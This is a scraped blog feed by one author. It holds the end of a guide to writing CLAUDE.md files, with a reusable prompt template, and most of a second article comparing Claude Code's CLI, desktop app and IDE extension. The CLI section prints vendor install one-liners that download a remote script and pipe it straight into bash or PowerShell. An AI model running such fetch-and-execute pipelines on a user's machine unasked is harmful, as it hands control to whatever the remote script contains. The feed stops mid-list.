A CLAUDE.md fails in one of two ways — empty, or stuffed with `/init` boilerplate — and both make Claude forget your preferences the moment a new session starts. The fix follows Karpathy's four principles: be skeptical and push back (no sycophancy), be terse (no fluff or hedging), drop filler (no apologies or emoji), and reason maximally before answering. Write only what Claude cannot already infer from reading the codebase — preferences, conventions, and constraints the code does not reveal; everything else is ignored noise. Place the file in the right tier of the four-layer scope system (enterprise → user/root → project/repo → directory), where closer scope overrides farther. Structure the file by role: Stack, Commands, Code Conventions, Gotchas.

INPUTS (fill in before running):
- ROLE: [frontend dev / backend dev / solo founder / content creator / data analyst / student — or "other"]
- PROJECT: [What the project is + the stack]
- SCOPE_TARGET: [user-level / project-level / directory-level]
- CODEBASE_INFERRABLE: [What Claude already learns just by reading the repo]

METHOD — 4 STEPS:

Step 1 — Match to a Role Template
From ROLE, pick the closest of six templates: frontend dev, backend dev, solo founder, content creator, data analyst, student. State the template and the four sections it needs.

Step 2 — Apply the Inference Rule
For each candidate line, ask: can Claude already infer this from CODEBASE_INFERRABLE? If yes, cut it — keep only preferences, conventions, and constraints the code does not reveal.

Step 3 — Apply Karpathy's 4 Principles and Pick the Scope Tier
Ensure the file embodies the four principles: skeptical push-back, terse, no filler, maximal reasoning. Place it in the SCOPE_TARGET tier of the four-layer system; note what belongs at a closer or farther tier instead.

Step 4 — Write the File and Run the Anti-Pattern Check
Produce the CLAUDE.md in the Stack / Commands / Code Conventions / Gotchas structure. Run the anti-pattern check: empty file, `/init` boilerplate, over-writing what Claude already knows, sycophantic tone, emoji/apology filler.

RULES:
- Never keep a line Claude can already infer from the codebase — it is ignored noise.
- Never ship an empty file or `/init` boilerplate — both make Claude forget preferences across sessions.
- Never write a sycophantic, hedging, emoji-filled file — embody Karpathy's four principles instead.

OUTPUT FORMAT:
Output a markdown report with:
1. Role Template — chosen template + its four sections
2. Inference Cut — markdown table, columns: Candidate Line | Inferable? | Keep/Cut
3. Scope Placement — the tier + what to move closer or farther
4. CLAUDE.md File — the file inside a fenced text block + the anti-pattern check verdict
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Save as &lt;code&gt;@templates/claude-md-best-practices.md&lt;/code&gt; and run when creating or rewriting a CLAUDE.md.&lt;/p&gt;




&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;How does CLAUDE.md relate to Cursor's .cursorrules?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They are independent. CLAUDE.md is for Claude Code. &lt;code&gt;.cursorrules&lt;/code&gt; is for Cursor. Neither tool reads the other's config. If you use both, maintain separate files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What do I do when Claude ignores my rules?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Three possible causes: the file is too long and the rule got buried (trim to under 200 lines); the rule is too vague for Claude to act on ("write good code" should become "max 30 lines per function"); or the rule is irrelevant to the current task and Claude skipped it (move it to &lt;code&gt;.claude/rules/&lt;/code&gt; with &lt;code&gt;paths:&lt;/code&gt; scoping). For hard requirements that must never be skipped, convert to a Hook.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How does a team manage CLAUDE.md?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Project-level &lt;code&gt;CLAUDE.md&lt;/code&gt; goes into Git. The team maintains it together. Personal preferences go in &lt;code&gt;CLAUDE.local.md&lt;/code&gt; (add to &lt;code&gt;.gitignore&lt;/code&gt;). Boris Cherny's team at Anthropic has someone add content weekly — during code review, they use &lt;code&gt;@.claude&lt;/code&gt; to have Claude auto-write new rules into CLAUDE.md.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the relationship between CLAUDE.md and AGENTS.md?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CLAUDE.md is Claude Code-specific. AGENTS.md serves the same purpose for OpenAI Codex. Many projects symlink them (&lt;code&gt;CLAUDE.md -&amp;gt; AGENTS.md&lt;/code&gt;) for cross-tool compatibility.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does CLAUDE.md support non-English languages?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Fully. CLAUDE.md is a standard Markdown file with no language restriction. Declare your interaction language at the top: "Interaction language: English" or any language you prefer.&lt;/p&gt;




&lt;p&gt;The most important step is the one only you can take. Open your project, create an empty CLAUDE.md, and start using Claude Code. Every time it makes a mistake, add one line. After a week, that file will outperform any template — because every rule in it comes from your own experience.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;— Leo&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Published in: &lt;a href="https://aiworkflowpro.com/tag/technology/" rel="noopener noreferrer"&gt;Technology&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/agentic-coding/" rel="noopener noreferrer"&gt;Agentic Coding&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/beginner/" rel="noopener noreferrer"&gt;Beginner&lt;/a&gt;&lt;br&gt;
, &lt;a href="https://aiworkflowpro.com/tag/claude-code/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Author&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://x.com/aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.youtube.com/@aiworkflowprolk" rel="noopener noreferrer"&gt;&lt;em&gt;Download more icon variants from https://tabler-icons.io/i/brand-youtube&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aiworkflowpro.com/author/leo/" rel="noopener noreferrer"&gt;View articles&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#why-does-claudemd-matter-more-than-any-other-config" rel="noopener noreferrer"&gt;Why Does CLAUDE.md Matter More Than Any Other Config?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#how-does-claude-code-actually-load-your-claudemd" rel="noopener noreferrer"&gt;How Does Claude Code Actually Load Your CLAUDE.md?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#what-do-the-best-claudemd-files-actually-contain" rel="noopener noreferrer"&gt;What Do the Best CLAUDE.md Files Actually Contain?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#what-can-we-learn-from-other-community-claudemd-files" rel="noopener noreferrer"&gt;What Can We Learn From Other Community CLAUDE.md Files?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#what-patterns-make-a-claudemd-actually-work" rel="noopener noreferrer"&gt;What Patterns Make a CLAUDE.md Actually Work?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#how-should-you-structure-a-claudemd-for-your-role" rel="noopener noreferrer"&gt;How Should You Structure a CLAUDE.md for Your Role?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#when-should-you-switch-from-one-file-to-a-router-architecture" rel="noopener noreferrer"&gt;When Should You Switch From One File to a Router Architecture?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#how-do-you-build-a-claudemd-from-zero-in-one-week" rel="noopener noreferrer"&gt;How Do You Build a CLAUDE.md From Zero in One Week?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#what-does-a-before-and-after-rewrite-look-like" rel="noopener noreferrer"&gt;What Does a Before-and-After Rewrite Look Like?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#what-are-the-six-most-common-claudemd-mistakes" rel="noopener noreferrer"&gt;What Are the Six Most Common CLAUDE.md Mistakes?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#how-do-claudemd-skills-and-hooks-work-together" rel="noopener noreferrer"&gt;How Do CLAUDE.md, Skills, and Hooks Work Together?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#quick-audit-checklist" rel="noopener noreferrer"&gt;Quick Audit Checklist&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#related-reading" rel="noopener noreferrer"&gt;Related Reading&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#ready-to-use-prompt-author-a-tight-claudemd-for-your-role" rel="noopener noreferrer"&gt;Ready-to-Use Prompt: Author a Tight CLAUDE.md for Your Role&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://aiworkflowpro.com/claude-md-best-practices/#frequently-asked-questions" rel="noopener noreferrer"&gt;Frequently Asked Questions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>claudecode</category>
      <category>ai</category>
      <category>bestpractices</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?</title>
      <dc:creator>Leo Kane</dc:creator>
      <pubDate>Wed, 26 Aug 2026 07:51:12 +0000</pubDate>
      <link>https://dev.to/leo_kane_dcf8a742674c0741/claude-code-cli-vs-app-vs-ide-which-entry-point-should-you-actually-use-3i63</link>
      <guid>https://dev.to/leo_kane_dcf8a742674c0741/claude-code-cli-vs-app-vs-ide-which-entry-point-should-you-actually-use-3i63</guid>
      <description>&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://aiworkflowpro.com/claude-code-cli-app-ide-guide/" rel="noopener noreferrer"&gt;AI Workflow Pro&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?
&lt;/h1&gt;

&lt;p&gt;Three ways in, one engine behind them - instruction files, settings, skills and connections carry across all three. Never touched a terminal: Desktop App. Live in the shell: CLI. Live in your editor: extension. Why choosing an AI assistant for business makes this fork look bigger.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwg7qm4mmwdizgo0tl5oz.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwg7qm4mmwdizgo0tl5oz.webp" alt="Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use? technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Copy&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxede279zrtfqedgnpuxo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxede279zrtfqedgnpuxo.webp" alt="Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use? technical illustration for AI Workflow Pro readers" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Some decisions deserve a meeting and some only look like they do. A property management office spent two weeks deciding which version to roll out to five staff, when the honest answer is that all three are the same engine behind different front doors and switching later costs nothing. Meanwhile the actual work - the lease renewal notices, the vendor invoices - waited. Evaluating an AI assistant for business throws up a lot of these false forks. This article gives the one-line rule for picking an entry point in about a minute, then explains why the choice is cheap to reverse.&lt;/p&gt;

&lt;p&gt;Claude Code gives you three ways in: a Terminal CLI, a Desktop App, and an IDE extension. All three connect to the same engine. Your CLAUDE.md files, settings, Skills, and MCP servers carry across every surface. The only difference is the interface — and the interface should match how you already work.&lt;/p&gt;

&lt;p&gt;If you want the short answer: &lt;strong&gt;never touched a terminal, install the Desktop App. Engineer comfortable in the shell, install the CLI. Living inside VS Code or Cursor eight hours a day, install the extension.&lt;/strong&gt; You can switch later at zero cost.&lt;/p&gt;

&lt;p&gt;The rest of this guide explains &lt;em&gt;why&lt;/em&gt; that shortcut works, walks through each entry point in detail, and covers the mistakes that trip up most beginners.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Are the Three Claude Code Entry Points?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsbn7t43hvs20pjiribnd.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsbn7t43hvs20pjiribnd.webp" alt="What Are the Three Claude Code Entry Points? illustration for Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Claude Code is not a single application — it is a single AI engine exposed through three different interfaces. Anthropic's &lt;a href="https://code.claude.com/docs/en/overview?ref=aiworkflowpro.com" rel="noopener noreferrer"&gt;official overview&lt;/a&gt;&lt;br&gt;
 puts it plainly: each surface connects to the same underlying Claude Code engine.&lt;/p&gt;

&lt;p&gt;Here is the one-sentence version of each:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Entry Point&lt;/th&gt;
&lt;th&gt;What It Is&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Terminal CLI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A &lt;code&gt;claude&lt;/code&gt; binary you run in your shell&lt;/td&gt;
&lt;td&gt;Engineers, automation, CI/CD pipelines&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Desktop App&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A standalone macOS/Windows application with a graphical interface&lt;/td&gt;
&lt;td&gt;Beginners, product managers, content creators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IDE Extension&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A panel inside VS Code, Cursor, or JetBrains&lt;/td&gt;
&lt;td&gt;Developers who never want to leave their editor&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;The web version at claude.ai/code and the mobile app are cloud extensions of the Desktop App — tasks run on Anthropic's servers and keep going after you close your laptop. Useful later, not where you should start.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Why Does Claude Code Have Multiple Entry Points?
&lt;/h2&gt;

&lt;p&gt;People who write code work in fundamentally different environments. A DevOps engineer lives in the terminal. A solo founder building their first product wants buttons and visual diffs. A frontend developer has VS Code open from morning to night.&lt;/p&gt;

&lt;p&gt;Forcing everyone through one interface would make the tool worse for most people. Multiple entry points are not a complexity problem — they are a fit problem solved.&lt;/p&gt;

&lt;p&gt;The key insight: &lt;strong&gt;choosing an entry point is not choosing a capability tier.&lt;/strong&gt; You are choosing a workspace that matches your existing habits.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Does the Shared Engine Work in Practice?
&lt;/h2&gt;

&lt;p&gt;This is the single most important fact for anyone comparing entry points. When Anthropic says "shared engine," they mean these items are literally the same files read by every surface:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Shared Item&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;What It Does&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Global settings&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.claude/settings.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Command permissions, environment variables, hooks, MCP connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Project memory&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;CLAUDE.md&lt;/code&gt; at project root&lt;/td&gt;
&lt;td&gt;Project rules, coding style, test commands&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skills&lt;/td&gt;
&lt;td&gt;User-level skills directory&lt;/td&gt;
&lt;td&gt;Reusable workflows you define once&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MCP servers&lt;/td&gt;
&lt;td&gt;Settings file&lt;/td&gt;
&lt;td&gt;External tool integrations (Google Drive, Jira, Slack)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session history&lt;/td&gt;
&lt;td&gt;Cross-surface&lt;/td&gt;
&lt;td&gt;Resume any conversation from any entry point&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three practical consequences follow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Configure once.&lt;/strong&gt; Write a &lt;a href="https://aiworkflowpro.com/claude-code-claude-md/" rel="noopener noreferrer"&gt;CLAUDE.md&lt;/a&gt;
 in your CLI session and it takes effect in the Desktop App and IDE extension immediately.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Switch at zero cost.&lt;/strong&gt; Run &lt;code&gt;/desktop&lt;/code&gt; in CLI to hand a session to the Desktop App. Use &lt;code&gt;claude --teleport&lt;/code&gt; to pull a cloud session back to your terminal. Run &lt;code&gt;claude --resume&lt;/code&gt; in VS Code to pick up a CLI conversation.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Do not install all three.&lt;/strong&gt; Most capabilities overlap. Installing everything gives you three dashboards showing the same data — pure overhead for a beginner.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I run Claude Code across four Macs daily. The shared engine means I configured my workflow once and it works everywhere. When I switched from primarily using CLI to adding the Desktop App for visual diffs, every project memory file and MCP connection carried over without touching a single config.&lt;/p&gt;




&lt;h2&gt;
  
  
  Which Entry Point Should You Pick?
&lt;/h2&gt;

&lt;p&gt;Match yourself to one of three profiles. Pick the first one that fits.&lt;/p&gt;

&lt;h3&gt;
  
  
  Are You New to the Terminal?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Install the Desktop App. Skip everything else.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Desktop App was designed for people who have never opened a terminal. Anthropic's own installation docs lead with this: "Prefer a graphical interface? The Desktop app lets you use Claude Code without the terminal."&lt;/p&gt;

&lt;p&gt;What you get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Double-click installer, no runtime setup&lt;/li&gt;
&lt;li&gt;  Visual diff panel showing every change Claude proposes&lt;/li&gt;
&lt;li&gt;  Default "ask before every change" mode — nothing lands until you approve&lt;/li&gt;
&lt;li&gt;  Multi-session sidebar for running parallel tasks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Your first move: download the Desktop App, sign in with a paid subscription, click the &lt;strong&gt;Code&lt;/strong&gt; tab (not Chat, not Cowork), select a familiar project folder, and ask Claude to explain the project structure. That is it. You will see how it reads files and proposes changes before you give it anything risky.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The Desktop App has three tabs that confuse beginners. &lt;strong&gt;Chat&lt;/strong&gt; is a plain conversation — it never touches your files. &lt;strong&gt;Cowork&lt;/strong&gt; runs a cloud agent that works autonomously. &lt;strong&gt;Code&lt;/strong&gt; is the programming assistant that reads and modifies your local files with your approval. This guide is about the Code tab.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Are You an Engineer Comfortable in the Shell?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Install the CLI.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;One-line installation, cross-platform:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# macOS / Linux / WSL (recommended)
curl -fsSL https://claude.ai/install.sh | bash

# macOS via Homebrew
brew install --cask claude-code

# Windows PowerShell
irm https://claude.ai/install.ps1 | iex

# Verify
claude --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Linux users also have signed apt/dnf/apk repositories available.&lt;/p&gt;

&lt;p&gt;What you get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Feature-complete surface — new capabilities land here first&lt;/li&gt;
&lt;li&gt;  Native automation: &lt;code&gt;claude -p "analyze this log"&lt;/code&gt; runs headless, exits when done&lt;/li&gt;
&lt;li&gt;  Pipe input directly: &lt;code&gt;git diff main | claude -p "review these changes for security issues"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  Full slash command set and tab completion&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The CLI's default mode asks for approval on every action. &lt;strong&gt;Keep it that way for at least two weeks.&lt;/strong&gt; I have seen engineers disable the safety net on day one, then spend an afternoon reverting changes they did not understand. The approval flow is slow but educational — you learn exactly what Claude reads, what it proposes, and when it executes commands.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Practical CLI automation examples
# Feed logs and get analysis
tail -200 app.log | claude -p "flag any anomalies and suggest fixes"

# Batch review changed files
git diff main --name-only | claude -p "check these files for security issues"

# Non-interactive one-shot task
claude -p "translate all new copy to French and open a PR"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;These headless patterns — run, process, exit — are the CLI's home turf. The Desktop App and IDE extension cannot replicate this cleanly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Do You Live Inside Your Editor?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Install the IDE extension.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;VS Code / Cursor / Windsurf / Kiro: open the extension marketplace (&lt;code&gt;Cmd+Shift+X&lt;/code&gt;), search "Claude Code," click install.&lt;/p&gt;

&lt;p&gt;JetBrains (IntelliJ / PyCharm / WebStorm): install from the JetBrains plugin marketplace, restart the IDE.&lt;/p&gt;

&lt;p&gt;What you get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Zero context switching — Claude Code lives in a panel beside your code&lt;/li&gt;
&lt;li&gt;  &lt;code&gt;@filename&lt;/code&gt; references pull files into context instantly&lt;/li&gt;
&lt;li&gt;  Selected code is automatically visible to Claude&lt;/li&gt;
&lt;li&gt;  Plan mode, inline diffs, checkpoint-based rollback (VS Code)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A fact that saves many beginners a false choice: &lt;strong&gt;the VS Code extension installs directly into Cursor.&lt;/strong&gt; You can run Cursor's real-time autocomplete for line-level suggestions and delegate multi-file refactoring to Claude Code — two AI systems, each handling what it does best, in one window. I have used this combination for months and the two never conflict.&lt;/p&gt;

&lt;p&gt;JetBrains support includes diff viewing and selection context sharing. The graphical feature set is slightly smaller than VS Code's, but the shared settings.json means your configuration is identical.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Do the Three Entry Points Compare Side by Side?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fckw34wip4s6tnz85ozm9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fckw34wip4s6tnz85ozm9.webp" alt="How Do the Three Entry Points Compare Side by Side? illustration for Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This table covers only differences you can feel — not spec sheets.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What You Notice&lt;/th&gt;
&lt;th&gt;CLI&lt;/th&gt;
&lt;th&gt;Desktop App&lt;/th&gt;
&lt;th&gt;IDE Extension&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Requires terminal knowledge&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Visual diff panel&lt;/td&gt;
&lt;td&gt;Text-based&lt;/td&gt;
&lt;td&gt;Graphical side-by-side&lt;/td&gt;
&lt;td&gt;Inline diffs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plan mode (review before execution)&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Parallel sessions&lt;/td&gt;
&lt;td&gt;Manual (multiple terminals)&lt;/td&gt;
&lt;td&gt;Sidebar management&lt;/td&gt;
&lt;td&gt;Multiple tabs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation / scripting&lt;/td&gt;
&lt;td&gt;Strongest&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Weak&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Stay inside your editor&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New features arrive first&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Follows&lt;/td&gt;
&lt;td&gt;Subset&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Live preview of running code&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Read the row you care about most. The column where it lands is your entry point.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What Should Your First Week Look Like?
&lt;/h2&gt;

&lt;p&gt;Regardless of which entry point you chose, the first-week goal is the same: understand how Claude Code reads files, proposes changes, and executes commands.&lt;/p&gt;

&lt;h3&gt;
  
  
  Three Habits to Build Immediately
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Commit before every task.&lt;/strong&gt; Claude modifies your files. Without a git checkpoint, rollback means manual reconstruction. Run &lt;code&gt;git commit -m "pre-claude checkpoint"&lt;/code&gt; before every new task. This is the cheapest safety net available.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use Plan Mode for anything non-trivial.&lt;/strong&gt; Plan Mode makes Claude propose a plan before touching any file. You review, annotate, approve, or reject. Anthropic lists this as the single most important habit for new users.&lt;/p&gt;&lt;/li&gt;
